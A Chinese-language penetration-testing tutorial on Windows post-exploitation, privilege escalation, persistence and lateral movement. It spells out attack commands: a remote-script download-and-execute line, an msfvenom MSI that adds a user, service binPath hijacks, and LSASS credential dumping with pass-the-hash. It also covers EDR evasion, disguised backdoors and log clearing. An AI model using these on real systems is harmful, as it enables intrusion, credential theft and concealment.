1. 项目概述:从“进入”到“掌控”的质变
在渗透测试的实战中,拿到一个Windows系统的初始立足点(比如一个Web Shell、一个反弹的Meterpreter会话)往往只是万里长征的第一步。很多新手朋友会在这里卡住,感觉“进去了,但又好像没完全进去”——权限低、操作受限、信息获取不全,更别提进一步横向移动或达成最终目标了。这个阶段,就是“后渗透”与“提权”的舞台。它们是将一次成功的初始入侵,转化为真正有价值、有深度的安全评估的关键环节。
简单来说,后渗透是在已获得访问权限的基础上,进行信息收集、权限维持、横向移动和深度探索的一系列动作。而提权,则是后渗透中最核心、最迫切的需求之一,它特指将当前较低的用户权限(如普通用户、服务账户)提升至更高的权限级别(如本地管理员、SYSTEM权限,甚至是域管理员)。对于Windows系统而言,由于其复杂的权限模型和广泛的企业应用,提权手法多样且极具实战价值。本次分享,我将结合十多年的红队与安全评估经验,为你拆解Windows环境下后渗透与提权的完整实战思路、核心技术与避坑指南,让你不仅能“进得去”,更能“走得深”、“控得住”。
2. 后渗透阶段的核心任务与信息收集框架
在急于执行whoami /priv查看特权之前,一个系统性的信息收集是后续所有行动成功的基础。盲目的提权尝试不仅效率低下,还可能触发安全告警。我们需要像侦探一样,先摸清“战场”的全貌。
2.1 系统与环境信息深度探查
首先,我们需要了解我们所处的环境。这不仅仅是操作系统版本。
基础系统信息:使用systeminfo命令可以获取大量信息,但实战中其输出可能被监控。更隐蔽的方式是组合使用WMI查询,例如wmic os get Caption,CSDVersion,OSArchitecture,Version。重点看系统架构(32/64位)、补丁级别(通过wmic qfe get Caption,Description,HotFixID,InstalledOn)以及是否服务器系统(如Windows Server 2016/2019/2022)。
用户与权限信息:whoami /all是黄金命令,它详细列出了当前用户的SID、所属组以及精确的特权列表。特别注意“特权”一栏,即使你不是管理员,某些特定的特权(如SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege)可能就是提权的突破口。同时,net user和net localgroup administrators可以快速查看本地用户和管理员组。
网络与连接信息:ipconfig /all查看网络配置、DNS服务器(可能指向域控)。netstat -ano查看所有网络连接和监听端口,寻找内部数据库、文件共享或其他服务的连接线索。arp -a查看ARP缓存,了解同一网段的其他主机。
进程与服务信息:tasklist /svc或Get-Process(PowerShell)查看运行进程及其关联服务。目标是寻找以高权限(如SYSTEM、管理员)运行,但可能由我们当前用户启动或控制的进程或服务。sc query或Get-Service可以列出所有服务及其状态。
实操心得:在真实环境中,很多命令的输出会被EDR(端点检测与响应)或AV(杀毒软件)记录。一个技巧是尽量使用系统自带的、行为相对“正常”的工具,并避免高频、批量的查询。将信息收集脚本化、阶段化执行,能有效降低暴露风险。例如,先收集最基本的信息,根据结果再决定下一步收集方向。
2.2 文件系统与敏感数据搜寻
权限提升的本质常常是对高权限资源的不当访问或利用。因此,搜寻敏感文件和配置至关重要。
常见敏感路径:
C:\Users\<用户名>\Desktop,Documents,Downloads:用户桌面和文档,可能存放密码本、配置文件。C:\根目录下:寻找unattend.xml、web.config、各类.txt,.ini,.config文件。- 应用目录:如
C:\Program Files (x86)\,C:\ProgramData\下的应用配置、日志文件。 - 备份文件:寻找
.bak,.old,.temp等扩展名的文件。
搜索特定内容:使用findstr命令。例如,在所有文件中搜索“password”关键词:findstr /s /i password *.txt *.ini *.config *.xml 2>nul。/s表示递归子目录,/i忽略大小写,2>nul是为了隐藏权限错误等噪音信息。
权限检查与可写目录:使用icacls或cacls命令检查关键目录(如系统目录、服务二进制路径、计划任务目录)的权限。寻找当前用户拥有“完全控制”(F)或“写入”(W)权限的目录。例如,检查C:\Windows\Temp、C:\Windows\Tasks、C:\Windows\System32\spool\drivers\color(这个目录默认允许用户写入,是经典的提权路径)。
2.3 凭证获取与密码哈希转储
获取更高权限用户的凭证是最高效的提权方式之一。
内存中提取:如果当前用户曾以管理员身份运行过某些进程(如通过runas /savecred),其凭证可能缓存在内存中。可以使用Mimikatz(需提权后加载)或更隐蔽的派生工具如nanodump来转储LSASS进程内存,从中提取明文密码或NTLM哈希。
本地SAM数据库转储:本地用户密码哈希存储在C:\Windows\System32\config\SAM文件中,但运行时被系统锁定。传统方法是通过注册表HKEY_LOCAL_MACHINE\SAM和HKEY_LOCAL_MACHINE\SYSTEM来转储。在Meterpreter中,可以使用hashdump命令。离线状态下,可以利用卷影副本(Volume Shadow Copy)技术创建系统驱动器的快照,然后从快照中复制出SAM和SYSTEM文件进行离线破解。
其他凭证源:
- 浏览器:浏览器保存的密码、Cookie、自动填充数据。
- 保存的Wi-Fi密码:
netsh wlan show profile name=”<SSID>” key=clear。 - PuTTY、WinSCP、RDP连接管理器等第三方工具保存的会话密码。
注意事项:直接使用Mimikatz等工具在内存中抓取密码,在现今稍有安全防护的环境中几乎等同于“自爆”。EDR对LSASS进程的访问、对Mimikatz特征字符串的检测都非常敏感。因此,需要结合进程注入、LSASS内存文件转储(
procdump伪装)、或使用反射加载、直接系统调用(Syscall)等绕过技术。转储出来的哈希文件(如lsass.dmp)最好导出到本地,用Mimikatz离线分析,减少在目标机上的驻留时间。
3. Windows提权技术原理与实战路径解析
信息收集完毕后,我们手头会有一张“线索图”。提权就是根据这些线索,选择最合适的路径发起攻击。Windows提权主要分为两大类:系统漏洞提权和配置错误提权。
3.1 系统漏洞提权:利用内核或服务缺陷
这类提权依赖于操作系统或系统组件中未修补的安全漏洞,通常涉及内存破坏,如缓冲区溢出。
漏洞发现与利用链:
- 补丁比对:将之前收集的
systeminfo或wmic qfe输出的已安装补丁列表,与公开的提权漏洞EXP库进行比对。例如,著名的PrintNightmare(CVE-2021-1675/CVE-2021-34527)、EternalBlue(MS17-010,虽然主要针对SMB,但内核利用可导致提权)、以及各种本地提权漏洞如CVE-2021-1732(Win32k)、CVE-2022-21882等。 - 自动化工具辅助:可以使用如
Windows-Exploit-Suggester、Watson(C#)、Sherlock(PowerShell)等脚本,它们能根据系统信息自动匹配可能的漏洞。 - EXP选择与编译:找到匹配的漏洞后,需要获取或自行编译对应的利用程序(EXP)。EXP通常是用C/C++编写的,需要在与目标系统相同架构(x86/x64)和相近系统版本的环境下编译,或者使用已经编译好的、信誉来源的二进制文件。
- 执行与风险:运行EXP通常具有较高风险,可能导致系统蓝屏崩溃(BSOD),从而暴露攻击行为。在关键生产环境需极其谨慎。
实战案例:利用未修补的本地提权漏洞假设通过信息收集发现目标系统是Windows 10 2004版本,且缺少某个关键的月度更新。通过工具比对,发现可能存在CVE-2021-1732漏洞。我们从一个GitHub仓库下载了该漏洞的EXP源码(一个.c文件)。在Kali上使用x86_64-w64-mingw32-gcc交叉编译为Windows可执行文件exp.exe。上传到目标机器的可写目录(如C:\Windows\Temp),在现有Shell中执行。如果利用成功,EXP通常会生成一个新的、具有SYSTEM权限的进程(如cmd.exe),我们就能连接到这个新进程完成提权。
避坑技巧:内核漏洞利用的稳定性高度依赖系统环境。在测试环境中百分百成功的EXP,在生产环境中可能因为不同的驱动版本、安全软件、内存布局而失败甚至崩溃。务必先在与目标环境尽可能相似的测试机上验证。同时,准备好“清理”方案,万一导致系统不稳定,如何解释或恢复。
3.2 配置错误提权:利用不当的权限设置
这是更常见、也更稳定的提权方式。它不依赖于未打补丁的漏洞,而是利用系统、应用或管理员在配置时留下的安全空隙。
服务提权:Windows服务通常以SYSTEM或高权限账户运行。如果我们可以修改服务的二进制文件路径,或者修改其配置,就能在服务重启时执行我们的代码。
- 检查方法:使用
sc qc <服务名>查看服务配置,关注BINARY_PATH_NAME(二进制路径)和SERVICE_START_NAME(启动账户)。 - 利用条件:如果当前用户对服务本身的配置有修改权限(
SERVICE_CHANGE_CONFIG),或者对服务二进制文件所在目录有写入权限。 - 利用步骤:
sc config <服务名> binPath= “C:\path\to\your\reverse_shell.exe”(修改路径指向我们的恶意程序)。sc stop <服务名>&sc start <服务名>(重启服务)。或者,如果服务无法停止,可以尝试修改为binPath= “net user hacker Password123! /add”,然后重启服务将直接执行命令。
计划任务提权:计划任务(Task Scheduler)可以定期或以特定触发器运行程序。如果任务以高权限运行,且当前用户有权限修改任务指向的程序或脚本,就可以实现提权。
- 检查方法:使用
schtasks /query /fo LIST /v查看详细任务列表,或使用PowerShell的Get-ScheduledTask。 - 利用方式:找到以高权限运行且可修改的任务,将其
Action中的程序替换为我们的后门。
可执行文件/脚本劫持:
- 不安全的文件权限:如果系统目录(如
C:\Windows、C:\Windows\System32)下的某个合法可执行文件(如python.exe,powershell.exe的旧版本)可以被当前用户覆盖写入,那么替换它就能在下次任何用户(包括管理员)执行时获得权限。 - PATH环境变量劫持:如果用户对PATH中某个靠前的目录有写权限,可以在其中放置一个与系统常用命令同名的恶意程序(如
net.exe,ping.exe)。当管理员在命令行中执行该命令时,系统会优先从可写目录找到并执行我们的恶意程序。
AlwaysInstallElevated提权:这是一个组策略设置,如果启用,任何MSI安装包都将以SYSTEM权限安装。通过检查注册表项HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKEY_LOCAL_MACHINE下的相同路径,如果值均为1,则可以利用。
- 利用方法:使用
msfvenom生成一个恶意的MSI安装包:msfvenom -p windows/adduser USER=hacker PASS=Password123! -f msi -o setup.msi。上传并执行msiexec /quiet /qn /i C:\path\to\setup.msi,即可添加一个系统用户。
实操心得:配置错误提权的关键在于细致的枚举和权限分析。自动化脚本如
PowerUp.ps1(PowerSploit套件的一部分)是绝佳帮手。它能够快速检查数十种常见的配置错误提权路径。将脚本加载到内存中执行(如IEX (New-Object Net.WebClient).DownloadString(‘http://your-server/PowerUp.ps1’)),然后运行Invoke-AllChecks,它能给出清晰的漏洞描述和利用建议。在防守严密的现代网络中,这种“低慢小”的提权方式往往比直接利用内核漏洞更有效、更隐蔽。
4. 权限维持与横向移动基础
提权成功,获得了SYSTEM或管理员权限,并非终点。我们需要巩固战果,建立持久化访问,并探索内网。
4.1 权限维持:创建后门与隐藏踪迹
创建隐藏账户:直接net user添加的账户在“计算机管理”中一目了然。更隐蔽的方法是创建“影子账户”——在注册表中克隆一个现有管理员账户的SID等信息,但使用不同的用户名和密码。或者,激活默认禁用的Guest账户并加入管理员组,因其通常不被注意。
计划任务持久化:创建高权限的计划任务,定期连接回我们的控制端。使用schtasks创建,并设置触发器为系统启动、用户登录或空闲时。注意任务名称和描述要看起来合法。
服务持久化:安装一个新的服务,将其二进制路径指向我们的后门。使用sc create创建服务,并设置为自动启动。服务名和显示名可以伪装成系统服务(如“Windows Update Helper”)。
启动项与注册表:在HKCU\Software\Microsoft\Windows\CurrentVersion\Run(当前用户)或HKLM\...\Run(所有用户)下添加键值,指向后门程序。这是经典方法,但也是安全软件重点检查的位置。
WMI事件订阅:这是一种高级持久化技术。通过WMI(Windows管理规范)订阅一个系统事件(如特定时间间隔、用户登录),当事件触发时,执行我们的Payload。检测难度较高。
注意事项:所有持久化操作都要考虑对抗AV/EDR。后门程序需要免杀处理(如使用Cobalt Strike生成的Stageless Payload,或通过自定义加载器)。安装的服务、计划任务、注册表键值的名称、描述、文件路径要尽量模仿系统原有项目,避免使用可疑的字符串。操作完成后,记得清理上传的临时工具和日志(如安全日志
Security.evtx中关于账户创建、服务安装的4688、4697事件),但这本身也是一项高风险操作。
4.2 横向移动:利用凭证与协议
在单机提权后,我们获取的本地管理员密码或哈希,很可能在域内其他具有相同本地管理员密码的机器上复用(这就是所谓的“横向渗透”)。
Pass-the-Hash (PtH):无需破解密码明文,直接使用从一台机器上获取的NTLM哈希,来验证另一台机器的身份。使用sekurlsa::pth(Mimikatz)或psexec、wmiexec等工具配合哈希进行横向移动。
Pass-the-Ticket (PtT):在Kerberos认证的域环境中,如果抓取到了其他用户的TGT(Ticket Granting Ticket)或服务票据,可以直接使用这些票据来访问对应服务,无需密码或哈希。
利用WMI和PsExec:
wmic /node:<目标IP> /user:<域名\管理员用户> /password:<密码> process call create “cmd.exe /c whoami”psexec.exe \\<目标IP> -u <用户> -p <密码> -s cmd.exe(-s参数以SYSTEM权限运行)
SMB与共享发现:使用net view \\<目标IP>或smbclient -L //<目标IP>/枚举共享资源。寻找可写的共享,上传后门并计划任务执行。
远程服务管理:如果拥有目标机器的管理员凭证,可以通过sc \\<目标IP> create ...远程创建服务,或schtasks /create /s <目标IP> ...远程创建计划任务,来获得远程执行能力。
横向移动是一个系统工程,需要结合前期信息收集到的域结构、用户关系、信任关系等,制定策略。从一个跳板机(我们已控机器)出发,逐步扩大控制范围,最终目标往往是域控制器(DC)。
5. 实战中常见问题与排查技巧实录
即使理论清晰,实战中依然会踩坑。下面记录几个典型问题及解决思路。
问题1:上传的EXP执行后没有任何反应,也没有报错。
- 排查:首先检查文件是否成功上传且可执行。在Shell中执行
dir C:\path\to\exp.exe和C:\path\to\exp.exe > output.txt 2>&1将输出重定向到文件查看。更常见的原因是架构不匹配(在64位系统上运行了32位EXP,或反之),或者系统缺少EXP依赖的特定DLL或运行时库(如VC++ Redistributable)。使用file命令(如果目标机有)或通过行为判断架构。尝试上传静态编译版本的EXP。
问题2:利用PowerUp.ps1发现了可写的服务路径,但替换二进制后服务启动失败。
- 排查:服务启动失败原因很多。检查替换的二进制文件是否本身能独立运行(先手动执行测试)。检查服务账户是否有权限访问该二进制文件及其依赖项。查看系统事件查看器(
eventvwr.msc)中“Windows日志 -> 系统”下的错误事件,会有更具体的错误代码。有时,服务对二进制有签名验证,替换未签名文件会导致失败。此时可以尝试不替换原文件,而是修改服务配置,在binPath中原命令后面添加& net user ...,利用“命令拼接”漏洞。
问题3:成功添加了管理员账户,但无法通过RDP或WinRM远程登录。
- 排查:账户添加成功不代表具备远程登录权限。首先确认远程桌面服务是否开启(
REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections,值为0表示开启)。其次,检查“Remote Desktop Users”组是否包含新账户(net localgroup “Remote Desktop Users”)。对于WinRM,需要确保服务开启且防火墙允许。最简单的方法是直接使用获取的凭证通过psexec或wmiexec进行命令行远程执行,这通常比图形化登录限制更少。
问题4:执行Mimikatz等工具时,进程瞬间消失或被拦截。
- 排查:这是典型的AV/EDR行为。需要采用免杀或绕过技术。可以尝试:
- 内存加载:不将工具写入磁盘,而是通过PowerShell或C#加载器将其直接注入到内存中执行。例如,使用
Invoke-ReflectivePEInjection。 - 进程注入:将工具代码注入到一个合法的、受信任的进程(如
explorer.exe,svchost.exe)中运行。 - 混淆与打包:对工具二进制进行混淆、加密或使用商业壳进行打包,改变其静态特征。
- 使用替代工具:使用功能类似但特征码不同的工具,如
nanodump替代Mimikatz的sekurlsa::logonpasswords功能来转储LSASS。 - 直接系统调用:使用Syscall直接调用底层NT API,绕过用户态的Hook。
- 内存加载:不将工具写入磁盘,而是通过PowerShell或C#加载器将其直接注入到内存中执行。例如,使用
问题5:在内网横向移动时,PsExec或WMI连接失败。
- 排查:依次检查:
- 网络连通性:目标IP是否可达?防火墙是否拦截了135(WMI)、445(SMB)、139(NetBIOS)端口?可以使用
telnet <目标IP> 445或Test-NetConnection(PowerShell)测试。 - 认证问题:使用的凭证是否正确?是本地管理员账户还是域账户?目标机器是否在域内?如果使用哈希传递,确保使用的是正确的NTLM哈希(通常是
aad3b...开头的那个)。 - 服务状态:目标机器的
Server服务(提供SMB共享)和RemoteRegistry服务(某些WMI操作需要)是否运行? - 安全策略:目标机器或域策略是否禁止了空会话、或限制了管理员从网络访问?可以尝试使用
crackmapexec工具,它能更详细地报告认证失败的原因。
- 网络连通性:目标IP是否可达?防火墙是否拦截了135(WMI)、445(SMB)、139(NetBIOS)端口?可以使用
实战渗透测试是一个动态对抗的过程,没有一成不变的公式。核心思路永远是:充分信息收集 -> 分析攻击面 -> 选择最合适、最隐蔽的路径 -> 谨慎执行并准备应急方案。每一次成功的提权和横向移动,都是对系统防御体系一次深刻的检验。